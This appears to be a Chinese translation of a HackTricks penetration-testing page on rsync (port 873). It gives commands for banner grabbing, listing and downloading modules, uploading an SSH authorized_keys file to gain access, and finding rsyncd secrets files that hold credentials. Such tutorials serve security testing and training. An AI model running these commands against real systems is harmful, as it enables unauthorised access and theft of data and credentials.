8.3 KiB
873 - 渗透测试 Rsync
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在 HackTricks 中看到你的公司广告吗?或者你想要获取最新版本的 PEASS 或下载 HackTricks 的 PDF吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入 💬 Discord 群组 或 telegram 群组 或 关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks 仓库和hacktricks-cloud 仓库提交 PR 来分享你的黑客技巧。
基本信息
rsync 是一种用于在计算机和外部硬盘之间以及跨网络计算机之间高效地传输和同步文件的实用工具,它通过比较文件的修改时间和大小来实现。它通常在类Unix的操作系统中找到。rsync 算法是一种增量编码类型,用于最小化网络使用。可以使用Zlib进行额外的数据压缩,[3]并且可以使用SSH或stunnel进行安全传输。
来自wikipedia。
默认端口: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
枚举
横幅和手动通信
在渗透测试中,枚举是一项重要的任务,它帮助我们收集关于目标系统的信息。在进行rsync服务的渗透测试时,我们可以使用以下方法进行枚举。
横幅
通过连接到目标rsync服务并读取横幅信息,我们可以获取有关服务版本和其他相关信息的线索。这可以通过使用telnet
命令连接到rsync服务的默认端口(873)来完成。
telnet <target_ip> 873
手动通信
我们还可以使用rsync
命令与目标rsync服务进行手动通信。这可以帮助我们了解服务的功能和配置。以下是一些常用的手动通信命令:
- 列出目标系统上的文件和目录:
rsync rsync://<target_ip>/
- 下载目标系统上的文件或目录:
rsync -av rsync://<target_ip>/<file_or_directory> <local_destination>
- 上传本地文件或目录到目标系统:
rsync -av <local_file_or_directory> rsync://<target_ip>/<destination_directory>
通过使用这些命令,我们可以与目标rsync服务进行交互,并获取有关目标系统的更多信息。
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
枚举共享文件夹
一个 rsync 模块本质上是一个目录共享。这些模块可以选择性地通过密码进行保护。这个选项列出了可用的模块,并且可以选择性地确定模块是否需要密码来访问**:**
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
请注意,可以配置一个共享名称以使其不被列出。因此可能有一些隐藏的东西。
请注意,可能有一些列出的共享名称需要一些(不同的)凭据才能访问。因此,并不总是所有列出的名称都可以访问,如果您在尝试访问其中一些时收到**"访问被拒绝"**的消息,您将会注意到这一点。
暴力破解
手动 Rsync
一旦您获得了模块列表,根据您想要采取的操作以及是否需要身份验证,您有几个不同的选项。如果不需要身份验证,您可以列出一个共享文件夹:
rsync -av --list-only rsync://192.168.0.123/shared_name
并通过以下命令将所有文件复制到本地机器:
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
这个命令会递归地将目录 <shared_name>
上的所有文件从机器 <IP>
传输到本地机器的 ./rsync_shared
目录中。文件以“归档”模式传输,这确保了符号链接、设备、属性、权限、所有权等在传输中得以保留。
如果你有凭据,你可以使用以下命令(密码将会提示)列出/下载一个共享名称:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
您也可以使用rsync上传一些内容(例如,在这种情况下,我们可以上传一个_authorized_keys_文件以获取对该框的访问权限):
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
查找rsyncd配置文件:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
在配置文件中,有时可以找到参数_secrets file = /path/to/file_,而这个文件可能包含允许用于身份验证到rsyncd的用户名和密码。
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品- The PEASS Family
-
加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter 🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。